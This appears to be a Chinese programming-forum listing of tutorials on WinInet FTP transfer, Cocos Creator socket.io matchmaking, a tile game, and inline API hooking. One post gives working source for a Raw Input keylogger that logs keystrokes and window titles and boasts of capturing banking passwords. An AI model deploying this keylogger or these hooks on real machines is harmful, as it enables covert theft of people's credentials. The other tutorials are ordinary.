dwOffset); } while (FALSE); // 返回数据 if (FALSE == bRet) { delete[]pDownloadData; pDownloadData = NULL; dwDownloadDataSize = 0; } *ppDownloadData = pDownloadData; *pdwDownloadDataSize = dwDownloadDataSize; // 释放内存并关闭句柄 if (NULL != pBuf) { delete []pBuf; pBuf = NULL; } if (NULL != hFTPFile) { ::InternetCloseHandle(hFTPFile); } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); } return bRet;}
    程序测试在 main 函数中调用上述封装好的函数,进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ BYTE *pDownloadData = NULL; DWORD dwDownloadDataSize = 0; // 下载 if (FALSE == FTPDownload("ftp://admin:123456789@192.168.0.1/Flower520.zip", &pDownloadData, &dwDownloadDataSize)) { printf("FTP Download Error!\n"); } // 将数据保存为文件 Ftp_SaveToFile("myftpdownloadtest.zip", pDownloadData, dwDownloadDataSize); // 释放内存 delete []pDownloadData; pDownloadData = NULL; printf("FTP Download OK.\n"); system("pause"); return 0;}
    测试结果
    运行程序,程序提示下载成功。然后,打开目下查看下载文件,成功下载文件。

    总结在打开Internet会话并和服务器建立连接后,接下来使用WinInet库中的FTP函数对服务器上的文件操作,就如同在自己的计算机上使用Win32 API函数操作一样。都是打开或者创建文件,获取文件句柄,然后根据文件句柄,调用函数对文件进行读写操作,最后,关闭文件句柄。
    所以,大家注意和本地的文件操作进行类比下,就很容易理解了。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-09 14:46:21
  • 基于WinInet的FTP文件上传实现

    背景对于在网络之间的文件传输,我们通常使用FTP传输协议。因为,FTP就是专门为了文件传输而生的,传输效率高,稳定性好。所以,FTP文件传输协议,是我们网络传输中常用的协议。
    为了学习这方面的开发知识,自己专门写了个使用Windows提供的WinInet库实现了FTP的文件传输的基本功能。现在,我就把基于WinInet库实现的FTP文件下载和FTP文件上传分成两个文档分别进行解析。本文介绍的是基于WinInet的FTP文件上传的实现。
    函数介绍介绍FTP上传文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen 介绍
    初始化一个应用程序,以使用 WinINet 函数。
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect 介绍
    建立 Internet 的连接。
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. FtpOpenFile 介绍
    启动访问FTP服务器上的远程文件以进行读取或写入。
    函数声明
    HINTERNET FtpOpenFile( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszFileName, _In_ DWORD dwAccess, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数

    hConnect [in]处理FTP会话。
    lpszFileName [in]指向包含要访问的文件名称的以NULL结尾的字符串。
    dwAccess [in]文件访问。 该参数可以是GENERIC_READ或GENERIC_WRITE,但不能同时使用。
    dwFlags [in]转移发生的条件。 应用程序应选择一种传输类型,以及指示文件缓存如何被控制的任何标志。传输类型可以是以下值之一。




    VALUE
    MEANING




    FTP_TRANSFER_TYPE_ASCII
    使用FTP的ASCII(类型A)传输方法传输文件。 控制和格式化信息被转换为本地等价物。


    FTP_TRANSFER_TYPE_BINARY
    使用FTP的图像(类型I)传输方法传输文件。 文件完全按照存在的方式进行传输,没有任何变化。 这是默认的传输方式。


    FTP_TRANSFER_TYPE_UNKNOWN
    默认为FTP_TRANSFER_TYPE_BINARY。


    INTERNET_FLAG_TRANSFER_ASCII
    以ASCII格式传输文件。


    INTERNET_FLAG_TRANSFER_BINARY
    将文件作为二进制文件传输。



    以下值用于控制文件的缓存。 应用程序可以使用这些值中的一个或多个。



    VALUE
    MEANING




    INTERNET_FLAG_HYPERLINK
    在确定是否从网络重新加载项目时,如果没有到期时间并且没有LastModified时间从服务器返回,则强制重新加载。


    INTERNET_FLAG_NEED_FILE
    如果无法缓存文件,则导致创建临时文件。


    INTERNET_FLAG_RELOAD
    强制从源服务器下载所请求的文件,对象或目录列表,而不是从缓存中下载。


    INTERNET_FLAG_RESYNCHRONIZE
    如果资源自上次下载以来已被修改,请重新加载HTTP资源。 所有FTP资源都被重新加载。




    dwContext [in]指向包含将此搜索与任何应用程序数据相关联的应用程序定义值的变量。 这仅在应用程序已经调用InternetSetStatusCallback来设置状态回调函数时才会使用。
    返回值

    如果成功则返回一个句柄,否则返回NULL。 要检索特定的错误消息,请调用GetLastError。

    4. InternetWriteFile 介绍
    函数声明
    BOOL InternetWriteFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲写入数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收写入字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    实现原理首先,我们先介绍下FTP的URL格式:
    FTP://账号:密码@主机/子目录或文件例如:ftp://admin:123456@192.168.0.1/mycode/520.zip
    其中,“FTP”就表示使用FTP传输数据;“账号”即登录FTP服务器的用户名;“密码”即登录FTP服务器用户名对应的密码;“主机”表示服务器的IP地址;“子目录或文件”即要进行操作的文件或目录的路径。
    在,WinInet库中,提供了InternetCrackUrl这个函数专门用于URL的分解,在我写的《URL分解之InternetCrackUrl》则篇文章中有详细介绍和使用方法。
    那么,基于WinInet库的FTP文件上传的原理如下所示:

    首先,我们先调用对URL进行分解,从URL中获取后续操作需要的信息。
    然后,使用InternetOpen初始化WinInet库,建立网络会话。
    接着,使用InternetConnect与服务器建立连接,并设置FTP数据传输方式。
    之后,我们就可以调用FtpOpenFile函数,根据文件路径,以GENERIC_WRITE的方式创建文件,并获取服务器上文件的句柄。
    接着,就可以调用InternetWriteFile把本地文件数据上传到服务器上,写入上述创建的文件中。
    最后,关闭上述打开的句柄,进行清理工作。

    这样,就可以成功实现FTP文件上传的功能了。与服务器建立FTP连接后,我们使用WinInet库中FTP函数对服务器上文件的操作就如果使用Win32 API函数对本地文件操作一样方便。
    编码实现导入WinInet库文件#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    FTP文件上传// 数据上传// 输入:上传数据的URL路径、上传数据内容、上传数据内容长度BOOL FTPUpload(char *pszUploadUrl, BYTE *pUploadData, DWORD dwUploadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Ftp_UrlCrack(pszUploadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hFTPFile = NULL; DWORD dwBytesReturn = 0; BOOL bRet = FALSE; do { // 建立会话 hInternet = ::InternetOpen("WinInet Ftp Upload V1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Ftp_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_INVALID_PORT_NUMBER, szUserName, szPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); if (NULL == hConnect) { Ftp_ShowError("InternetConnect"); break; } // 打开FTP文件, 文件操作和本地操作相似 hFTPFile = ::FtpOpenFile(hConnect, szUrlPath, GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD, NULL); if (NULL == hFTPFile) { Ftp_ShowError("FtpOpenFile"); break;; } // 上传数据 bRet = ::InternetWriteFile(hFTPFile, pUploadData, dwUploadDataSize, &dwBytesReturn); if (FALSE == bRet) { break; } } while (FALSE); // 释放内存并关闭句柄 if (NULL != hFTPFile) { ::InternetCloseHandle(hFTPFile); } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); } return bRet;}
    程序测试在 main 函数中调用上述封装好的函数,进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ if (FALSE == FTPUpload("ftp://admin:123456789@192.168.0.1/myftpuploadtest.txt", (BYTE *)"Hello Wolrd", 12)) { printf("FTP Upload Error.\n"); } printf("FTP Upload OK.\n"); system("pause"); return 0;}
    测试结果
    运行程序,程序提示上传成功。然后,使用FTP管理工具,查看服务器目录,发现文件上传成功。

    然后,打开文件,查看文件数据内容,数据正确,所以程序测试成功。

    总结在打开Internet会话并和服务器建立连接后,接下来使用WinInet库中的FTP函数对服务器上的文件操作,就如同在自己的计算机上使用Win32 API函数操作一样。都是打开或者创建文件,获取文件句柄,然后根据文件句柄,调用函数对文件进行读写操作,最后,关闭文件句柄。
    所以,大家注意和本地的文件操作进行类比下,就很容易理解了。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-08 09:27:35
  • 【Cocos Creator 联机实战教程(2)】——匹配系统

    1.知识点讲解大型多人互动游戏一般都会有一个匹配系统,用来让玩家进行联网游戏,现在我们来讲一讲这种系统吧,我们可以做个比较简单的双人对战匹配系统。
    我们让每一对匹配成功的玩家进入一个独立的房间,所以不同的房间的通信应该互不影响,由于不同场景的通信内容不同,所以不同场景的通信也应该独立
    我们把这个游戏的匹配过程比作开房的过程,

    如果有一个人进入了宾馆,那么他最先进入的区域就是hall(大厅),当然他可能就是逛逛,又推门出去
    当他想休息时他就去前台开个房,那么他就进入了queue(队列),并断开hall的通信
    当另一个人也想休息的时候也去前台排队,当个queue里有两个人的时候,前台小姐就给了他俩一个空闲房间的钥匙,他们就一起进入了一个独立的room,并断开queue的通信
    以上循环,房间数有限,在房间满的时候不能匹配成功

    当然,你也可以根据实际情况升级这个匹配系统,比如,分等级的匹配(开不同的队列等待)。
    注意:房卡游戏虽然也用到了房间这个概念,但不是匹配,这种游戏更像唱卡拉OK。进入大厅后,组织者去开个房间,其他人一起进。或者迟到的人拿着房间号直接进去。
    2. 步骤我们的游戏分为三个场景

    游戏启动的时候进入menu场景,当玩家点击对战时进入match场景,匹配成功进入game场景,取消匹配返回menu场景,游戏结束返回menu场景
    我们在Global里定义socket
    window.G = { globalSocket:null,//全局 hallSocket:null,//大厅 queueSocket:null,//队列 roomSocket:null,//房间 gameManager:null, chessManager:null, stand:null,}
    menu场景启动时,我们连接hallSocket,开始匹配时,断开hallSocket
    cc.Class({ extends: cc.Component, onLoad: function () { G.globalSocket = io.connect('127.0.0.1:4747'); //断开连接后再重新连接需要加上{'force new connection': true} G.hallSocket = io.connect('127.0.0.1:4747/hall',{'force new connection': true}); }, onBtnStart() { G.hallSocket.disconnect(); cc.director.loadScene('match'); }});
    进入match场景,连接queueSocket,先进入queue的玩家主场黑棋先手,后进入客场白棋后手(这个逻辑是服务端判断的),匹配成功时,服务端会发送roomId,玩家进入相应的房间,并断开queueSocket的通信
    const Constants = require('Constants');const STAND = Constants.STAND;cc.Class({ extends: cc.Component, onLoad: function () { G.queueSocket = io.connect('127.0.0.1:4747/queue', { 'force new connection': true }); G.queueSocket.on('set stand', function (stand) { if (stand === 'black') { G.stand = STAND.BLACK; } else if (stand === 'white') { G.stand = STAND.WHITE; } }); G.queueSocket.on('match success', function (roomId) { cc.log('match success' + roomId); G.roomSocket = io.connect('127.0.0.1:4747/rooms' + roomId, { 'force new connection': true }); G.queueSocket.disconnect(); cc.director.loadScene('game'); }); }, onBtnCancel() { G.queueSocket.disconnect(); cc.director.loadScene('menu'); }});
    在game场景中,如果游戏结束我们就断掉roomSocket回到menu场景
    startGame() { this.turn = STAND.BLACK; this.gameState = GAME_STATE.PLAYING; this.showInfo('start game'); },endGame() { let onFinished = () =>{ G.roomSocket.disconnect(); cc.director.loadScene('menu'); } this.infoAnimation.on('finished',onFinished,this); this.gameState = GAME_STATE.OVER; this.showInfo('game over'); },
    服务端完整逻辑
    let app = require('express')();let server = require('http').Server(app);let io = require('socket.io')(server);server.listen(4747, function() { console.log('listening on:4747');});let MAX = 30;//最大支持连接房间数let hall = null;//大厅let queue = null;//匹配队列let rooms = [];//游戏房间function Hall() { this.people = 0; this.socket = null;}function Room(){ this.people = 0; this.socket = null;}function Queue(){ this.people = 0; this.socket = null;}hall = new Hall();queue = new Queue();for(let n = 0;n < MAX;n++){ rooms[n] = new Room();}function getFreeRoom(){ for(let n = 0;n < MAX;n++){ if(rooms[n].people === 0){ return n; } } return -1;}io.people = 0;io.on('connection',function(socket){ io.people++; console.log('someone connected'); socket.on('disconnect',function(){ io.people--; console.log('someone disconnected'); });})hall.socket = io.of('/hall').on('connection', function(socket) { hall.people++; console.log('a player connected.There are '+hall.people+' people in hall'); hall.socket.emit('people changed',hall.people); socket.on('disconnect',function(){ hall.people--; console.log('a player disconnected.There are '+hall.people+' people in hall'); hall.socket.emit('people changed',hall.people); });});queue.socket = io.of('/queue').on('connection',function(socket){ queue.people++; console.log('someone connect queue socket.There are '+queue.people+' people in queue'); if(queue.people === 1){ socket.emit('set stand','black'); }else if(queue.people === 2){ socket.emit('set stand','white'); let roomId = getFreeRoom(); console.log(roomId+"roomId"); if(roomId >= 0){ queue.socket.emit('match success',roomId); console.log('match success.There are '+queue.people+' people in queue'); }else{ console.log('no free room!'); } } socket.on('cancel match',function(){ queue.people--; console.log('someone cancel match.There are '+queue.people+' people in queue'); }); socket.on('disconnect',function(){ queue.people--; console.log('someone disconnected match.There are '+queue.people+' people in queue'); });});for(let i = 0;i < MAX;i++){ rooms[i].socket = io.of('/rooms'+i).on('connection',function(socket){ rooms[i].people++; console.log('some one connected room'+i+'.There are '+rooms[i].people+' people in the room'); socket.on('update chessboard',function(chessCoor){ socket.broadcast.emit('update chessboard',chessCoor); }); socket.on('force change turn',function(){ socket.broadcast.emit('force change turn'); }); socket.on('disconnect',function(){ rooms[i].people--; console.log('someone disconnected room'+i+'.There are '+rooms[i].people+' people in the room'); }); });}
    3. 总结我们做的是比较简单的匹配系统,实际上还有匹配算法(选择排队的顺序不仅仅是先来后到)。
    这是我们需要掌握的新知识,除此之外我们都可以使用之前的知识点完成游戏。
    注意以下问题:

    跨场景访问变量
    在util下面有两个脚本,Constants用来存储游戏常量,然后其他地方需要常量时
    const Constants = require('Constants');const GAME_STATE = Constants.GAME_STATE;const STAND = Constants.STAND;const CHESS_TYPE = Constants.CHESS_TYPE;
    Global存储全局控制句柄,需要访问他们的时候,就可以通过(G.)的方式

    控制单位应该是脚本而不是节点
    本教程部分素材来源于网络。
    1 回答 2018-12-07 14:58:43
  • 【Cocos Creator 联机实战教程(1)】——初识Socket.io

    1.Socket.io简介Socket.io是一个实时通信的跨平台的框架
    1.1 websocket 和 socket.io 之间的区别是什么socket.io封装了websocket,同时包含了其它的连接方式,比如Ajax。原因在于不是所有的浏览器都支持websocket,通过socket.io的封装,你不用关心里面用了什么连接方式。你在任何浏览器里都可以使用socket.io来建立异步的连接。socket.io包含了服务端和客户端的库,如果在浏览器中使用了socket.io的js,服务端也必须同样适用。如果你很清楚你需要的就是websocket,那可以直接使用websocket。
    2. 服务器端Windows安装Node.js Express Socket.io2.1 下载Node.js官网下载最新版http://nodejs.cn/
    2.2 打开cmd2.2.1 下载Express
    npm install -g express

    2.2.2 下载Socket.io
    npm install -g socket.io


    3. Creator与服务器通信测试3.1 测试场景
    3.2 客户端脚本我是挂载在Canvas上,也可以选择直接挂载在Label上。
    onLoad: function () { let self = this; if (cc.sys.isNative) { window.io = SocketIO.connect; } else { require('socket.io'); } var socket = io('IP:端口'); socket.on('hello', function (msg) { self.label.string = msg; }); },
    记得下载socket.io并导入为插件
    3.3 服务器脚本(任意位置存放)let app = require('express')();let server = require('http').Server(app);let io =require('socket.io')(server);server.listen(4747,function(){ console.log('listening on:端口');});io.on ('connection',function(socket){ console.log('someone connected'); socket.emit('hello','success');});
    在服务端脚本存放的位置打开cmd
    输入

    npm link express

    输入

    npm link socket.io

    输入

    node test-server.js

    4. 总结不同的环境配置网络连接不同,要善于抓包发现问题。
    不过也从侧面看出cocos creator不是很适合做联网游戏,调试是真的恶心。
    本教程部分素材来源于网络。
    附上监听小程序,测试网络。
    1 回答 2018-12-06 15:02:34
  • 使用GetRawInputData函数实现键盘按键记录

    背景对于按键记录这方面的功能自己写过几个,实现的方式也都不同。例如在应用层,可以使用全局键盘钩子实现按键记录,也可以使用获取系统设备原始输入方式来实现按键记录。在内核层下,我们可以在驱动设备上面挂在一个键盘过滤设备,创建一个过滤驱动,就可以获取键盘消息等等。
    现在,我们主要讲解的是应用层上使用获取原始输入的方法实现的按键记录。这种方式比全局键盘钩子更加底层而且有效。很多软件,都能屏蔽全局键盘钩子对按键消息的获取。现在,我就把实现过程和原理整理成文档,分享给大家。
    函数声明RegisterRawInputDevices 函数
    注册提供原始输入数据的设备。
    函数声明
    BOOL WINAPI RegisterRawInputDevices( _In_ PCRAWINPUTDEVICE pRawInputDevices, _In_ UINT uiNumDevices, _In_ UINT cbSize);
    参数

    pRawInputDevices [in]一组RAWINPUTDEVICE结构,代表提供原始输入的设备。uiNumDevices [in]pRawInputDevices指向的RAWINPUTDEVICE结构的数量。cbSize [in]RAWINPUTDEVICE结构的大小(以字节为单位)。
    返回值

    如果函数成功,则为TRUE;否则为FALSE。如果函数失败,请调用GetLastError获取更多信息。
    备注

    要接收WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。默认情况下,应用程序不接收原始输入。要接收WM_INPUT_DEVICE_CHANGE消息,应用程序必须为RAWINPUTDEVICE结构的usUsagePage和usUsage字段指定的每个设备类指定RIDEV_DEVNOTIFY标志。默认情况下,应用程序不会收到WM_INPUT_DEVICE_CHANGE通知,用于原始输入设备到达和删除。如果RAWINPUTDEVICE结构具有RIDEV_REMOVE标志设置且hwndTarget参数未设置为NULL,则参数验证将失败。

    GetRawInputData 函数
    从指定的设备获取原始输入。
    函数声明
    UINT WINAPI GetRawInputData( _In_ HRAWINPUT hRawInput, _In_ UINT uiCommand, _Out_opt_ LPVOID pData, _Inout_ PUINT pcbSize, _In_ UINT cbSizeHeader);
    参数

    hRawInput [in]RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam。
    uiCommand [in]命令标志。 此参数可以是以下值之一:




    VALUE
    MEANING




    RID_HEADER
    从RAWINPUT结构获取头信息


    RID_INPUT
    从RAWINPUT结构获取原始数据




    pData [out]指向来自RAWINPUT结构的数据的指针。 这取决于uiCommand的值。 如果pData为NULL,则在* pcbSize中返回所需的缓冲区大小。
    pcbSize [in,out]pData中数据的大小(以字节为单位)。
    cbSizeHeader [in]RAWINPUTHEADER结构的大小(以字节为单位)。

    返回值

    如果pData为NULL且函数成功,则返回值为0。如果pData不为空,函数成功,返回值为复制到pData中的字节数。如果有错误,返回值为(UINT)-1。

    实现原理使用原始输入的方法实现的按键记录程序,大致可以分成三个部分:注册原始输入设备、获取原始输入数据、保存按键信息。现在,我们分别对这 3 个部分一一进行解析。
    注册原始输入设备我们使用获取原始输入的方法来实现按键纪录,默认情况下,应用程序不接收原始输入。要接收原始输入 WM_INPUT 消息,应用程序必须首先使用 WIN32 API 函数 RegisterRawInputDevices 注册原始输入设备。
    在注册原始输入设备中,RAWINPUTDEVICE 结构体中的 RIDEV_INPUTSINK 成员表示,即使程序不是处于上层窗口或是激活窗口,程序依然可以接收原始输入,但是,结构体成员目标窗口的句柄 hwndTarget 必须要被指定。
    所以,在初始化 RAWINPUTDEVICE 结构体之后,调用 RegisterRawInputDevices 函数注册一个原始输入设备。
    获取原始输入数据在注册原始输入设备之后,我们可以在程序窗口过程函数中,捕获 WM_INPUT 消息,并在 WM_INPUT 中调用 GetInputRawData 来获取原始输入数据。
    其中,WM_INPUT 中的 lParam 参数,存储这原始输入的句柄。那么,直接调用 GetInputRawData 函数,根据句柄获取 RAWINPUT 原始输入结构体的数据。其中,RAWINPUT.header.dwType 表示按键输入类型;RAWINPUTDATA 结构体按键消息成员 RAWINPUTDATA.data.keyboard.Message 如果为 WM_KEYDOWN,则表示普通按键,若为 WM_SYSKEYDOWN 则表示系统按键。这时,键盘按键数据就是 RAWINPUTDATA.data.keyboard.VKey 成员,这是一个按键的虚拟键码,需要转换成 ASCII 码来保存。
    那么,接下来就将从原始输入中获取的虚拟键码进行转换和保存。
    保存按键信息我们将虚拟键码与ASCII码的对应信息保存在头文件见 VirtualKeyToAscii.h 中,我们直接调用自定义函数 GetKeyName 就可以实现虚拟键码与ASCII码的转换。
    除了获取按键的信息,我们还获取的按键窗口标题的信息,帮助我们判断此时输入的是什么数据。通过 GetForegroundWindow 函数获取顶层窗口的句柄,然后调用 GetWindowText 函数就可以获取窗口的句柄。
    然后,我们将按键数据和窗口标题信息一起追加保存到文件中。
    编码实现注册原始输入设备// 注册原始输入设备BOOL Init(HWND hWnd){ // 设置 RAWINPUTDEVICE 结构体信息 RAWINPUTDEVICE rawinputDevice = {0}; rawinputDevice.usUsagePage = 0x01; rawinputDevice.usUsage = 0x06; rawinputDevice.dwFlags = RIDEV_INPUTSINK; rawinputDevice.hwndTarget = hWnd; // 注册原始输入设备 BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice)); if (FALSE == bRet) { ShowError("RegisterRawInputDevices"); return FALSE; } return TRUE;}
    获取原始输入数据// 获取原始输入数据BOOL GetData(LPARAM lParam){ RAWINPUT rawinputData = { 0 }; UINT uiSize = sizeof(rawinputData); // 获取原始输入数据的大小 ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER)); if (RIM_TYPEKEYBOARD == rawinputData.header.dwType) { // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) || (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)) { // 记录按键 SaveKey(rawinputData.data.keyboard.VKey); } } return TRUE;}
    保存按键记录// 保存按键信息void SaveKey(USHORT usVKey){ char szKey[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szText[MAX_PATH] = { 0 }; FILE *fp = NULL; // 获取顶层窗口 HWND hForegroundWnd = ::GetForegroundWindow(); // 获取顶层窗口标题 ::GetWindowText(hForegroundWnd, szTitle, 256); // 将虚拟键码转换成对应的ASCII ::lstrcpy(szKey, GetKeyName(usVKey)); // 构造按键记录信息字符串 ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey); // 打开文件写入按键记录数据 ::fopen_s(&fp, "keylog.txt", "a+"); if (NULL == fp) { ShowError("fopen_s"); return; } ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp); ::fclose(fp);}
    程序测试我们直接运行程序,然后创建一个Office Word文档,输入名称“520”,接着打开文档,输入一段字字母、数字、标点符号等,进行测试。输入情况如下所示:

    按键结束后,我们关闭程序,打开按键记录文件,查看按键记录。程序成功记录下所有按键信息:

    总结这个程序功能比较强大,实现不难理解。而且,我们只需用普通权限,就可以获取系统上差不多所有进程的按键记录。例如:Office Word、浏览器输入的淘宝账号和密码、浏览器输入的网银账号和密码等等。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-04 11:59:48
  • 【Cocos Creator实战算法教程(2)】——get47

    1. 规则
    游戏操作仿的是天天爱消除,点击一个方块向相邻的方块滑动就会交换两个方块
    当没有可移动的方块时,可以点击下面的update按钮
    横向相连的方块数字之和会增加分数,纵向相连的方块数字之和会减少分数
    最终目的就是get47

    2. 整体思路搭建游戏场景

    Tile就代表方块,TileLayout就是用来装Tile的,当然我们还是会在脚本里动态添加tile
    先来看一下Tile的脚本
    Tile.js
    cc.Class({ extends: cc.Component, properties: { pics:{ type:cc.SpriteFrame, default:[], }, _type:1, posIndex:cc.Vec, type:{ set:function(value){ this._type = value; this.node.getComponent(cc.Sprite).spriteFrame = this.pics[value-1]; }, get:function(){ return this._type; } }, isAlive:true }, onLoad: function () { this.initType(); }, initType:function(){ this.type = Math.floor(Math.random()*this.pics.length) + 1 ; },});
    这里有三个重要的属性,type,isAlive,posIndex,先记住它们
    再来看一下TileController的脚本的主要方法

    这几个方法里最核心的就是中间的三个:deleteTiles,fallTiles,addTiles
    顾名思义,

    deleTiles:删除相连接的方块
    fallTiles:deleTiles后会有一些空白,这时就需要把上面的方块落下来
    addTiles:fallTiles后上面就有一些空白,所以就要在上面填上新的方块

    3. 主要思路
    Tile里有一个posIndex,这个属性是用来标记tile的位置信息的,之所以要用一个属性来标记,而不是直接移动位置,是为了实现tile的动画效果,因为在fallTiles时,会有很多的tile同时落下,我们的做法是先把所有要下落的tile找出来,然后一起让他们执行动作:position=posIndex
    4. 总结这种消除类的游戏要注意判断游戏状态的结束,因为有连消的存在。
    本教程部分素材来源网络。
    1 回答 2018-12-03 23:29:47
  • 实现32位和64位系统的Inline Hook API

    背景API HOOK技术是一种用于改变API执行结果的技术,Microsoft 自身也在 Windows 操作系统里面使用了这个技术,如Windows兼容模式等。 API HOOK 技术并不是计算机病毒专有技术,但是计算机病毒经常使用这个技术来达到隐藏自己的目的。
    本文就是向大家讲解在 32 位系统和 64 位系统下的 Inline Hook Api 技术的具体实现,现在,我就把实现思路和原理整理成文档,分享给大家。
    实现原理我们程序的 Inline Hook API 实现原理不难理解,核心原理就是获取进程中,指定 API 函数的地址,然后修改该函数入口地址的前几个字节,修改为跳转到我们的新 API 函数,执行我们自己的操作。
    要注意区分 32 位系统和 64 位系统,因为 32 位和 64 位系统的指针长度是不同的,导致地址长度也不同。32 位下用 4 字节表示地址,而 64 位下使用 8 字节来表示地址。
    在 32 位下,汇编跳转语句为:
    jmp _dwNewAddress
    机器码为:
    e9 _dwOffset(跳转偏移)
    其中,要注意理解跳转偏移的计算方法:
    addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即 eip 的值addr2 --> 跳转地址的值,即 _dwNewAddress 的值跳转偏移 _dwOffset = addr2 - addr1
    在 64 位下,汇编跳转语句为:
    mov rax, _dwNewAddress(0x1122334455667788)jmp rax
    机器码为:
    48 b8 _dwNewAddress(0x1122334455667788)ff e0
    所以,32 位下要更改前 5 字节数据; 64 位下要更改前 12 字节数据。
    那么 HOOK 的流程为:

    首先,我们从进程中获取 HOOK API 对应的模块基址,这样,就可以使用 GetProcAddress 函数获取 API 函数的在进程中的地址。
    然后,我们根据 32 位和 64 位版本,计算 HOOK API 函数的前几字节数据。
    接着,修改 API 函数的前几字节数据的页面保护属性,更改为可读、可写、可执行,然后,我们便获取原来前几字节数据后,再写入新的跳转数据。
    最后,还原页面保护属性。

